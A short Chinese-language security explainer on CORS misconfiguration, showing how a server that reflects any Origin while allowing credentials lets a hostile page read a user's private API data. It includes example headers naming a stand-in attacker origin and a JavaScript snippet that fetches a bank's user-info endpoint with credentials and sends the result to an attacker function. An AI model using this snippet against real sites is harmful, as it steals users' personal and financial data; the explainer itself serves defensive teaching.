当服务端粗暴地使用反射 Origin 并设置 Access-Control-Allow-Credentials: true 时,恶意网页可以通过前端 JavaScript 跨域拉取目标 API 返回的包含敏感 PII 或资金数据的完整 JSON 报文。
一、高危 CORS 响应头模式
http
# 客户端发送
Origin: https://malicious-attacker.com
# 危险服务端配置(盲目信任请求来源):
Access-Control-Allow-Origin: https://malicious-attacker.com
Access-Control-Allow-Credentials: truejavascript
// 攻击者页面上的利用代码
fetch('https://target-bank.com/api/user/info', { credentials: 'include' })
.then(response => response.json())
.then(data => sendToAttackerServer(data));